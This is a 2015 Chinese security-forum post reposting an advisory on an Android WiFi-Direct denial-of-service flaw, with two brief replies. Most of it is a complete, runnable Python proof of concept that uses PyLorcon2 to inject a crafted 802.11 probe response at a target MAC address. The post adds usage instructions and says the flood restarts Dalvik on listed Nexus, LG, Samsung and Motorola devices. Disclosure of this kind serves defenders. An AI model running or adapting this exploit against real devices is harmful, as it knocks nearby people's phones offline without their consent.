查看: 10560|回复: 2

安卓Wifi直连拒绝服务漏洞

[复制链接]
发表于 2015-1-30 10:56:35 | 显示全部楼层 |阅读模式
[CORE-2015-0002] - Android WiFi-Direct Denial of Service
http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧 使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本:
   . Nexus 5 - Android 4.4.4
   . Nexus 4 - Android 4.4.4
   . LG D806 - Android 4.2.2
   . Samsung SM-T310 - Android 4.2.2
   . Motorola RAZR HD - Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小,没有时间修复”,目前该漏洞没有任何补丁

POC:
[AppleScript] 纯文本查看 复制代码
#!/usr/bin/env python 

import sys 
import time 
import struct 
import PyLorcon2 


def get_probe_response(source, destination, channel): 
  frame = str() 
  frame += "\x50\x00"  # Frame Control 
  frame += "\x00\x00"  # Duration 
  frame += destination 
  frame += source 
  frame += source 
  frame += "\x00\x00"  # Sequence Control 
  frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp 
  frame += "\x64\x00"  # Beacon Interval 
  frame += "\x30\x04"  # Capabilities Information 

  # SSID IE 
  frame += "\x00" 
  frame += "\x07" 
  frame += "DIRECT-" 

  # Supported Rates 
  frame += "\x01" 
  frame += "\x08" 
  frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" 

  # DS Parameter Set 
  frame += "\x03" 
  frame += "\x01" 
  frame += struct.pack("B", channel) 

  # P2P 
  frame += "\xDD" 
  frame += "\x27" 
  frame += "\x50\x6F\x9A" 
  frame += "\x09" 
  # P2P Capabilities 
  frame += "\x02" # ID 
  frame += "\x02\x00" # Length 
  frame += "\x21\x00" 
  # P2P Device Info 
  frame += "\x0D" # ID 
  frame += "\x1B\x00" # Length 
  frame += source 
  frame += "\x01\x88" 
  frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" 
  frame += "\x00" 
  frame += "\x10\x11" 
  frame += "\x00\x06" 
  frame += "fafa\xFA\xFA" 

  return frame 


def str_to_mac(address): 
  return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) 


if __name__ == "__main__": 
  if len(sys.argv) != 3: 
    print "Usage:" 
    print "  poc.py <iface> <target>" 
    print "Example:" 
    print "  poc.py wlan0 00:11:22:33:44:55" 
    sys.exit(-1) 

  iface = sys.argv[1] 
  destination = str_to_mac(sys.argv[2]) 

  context = PyLorcon2.Context(iface) 
  context.open_injmon() 

  channel = 1 
  source = str_to_mac("00:11:22:33:44:55") 
  frame = get_probe_response(source, destination, channel) 

  print "Injecting PoC." 
  for i in range(100): 
    context.send_bytes(frame) 
    time.sleep(0.100)

运行poc,在 设置-wlan-右下按钮wlan直连-搜索设备时触发漏洞,系统重启
回复

使用道具 举报

发表于 2015-1-30 20:29:54 | 显示全部楼层
远程让手机重启不算漏洞
回复 支持 反对

使用道具 举报

发表于 2015-1-30 22:13:37 | 显示全部楼层
又来分享好东西了  
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-9 08:13 , Processed in 0.020664 second(s), 9 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部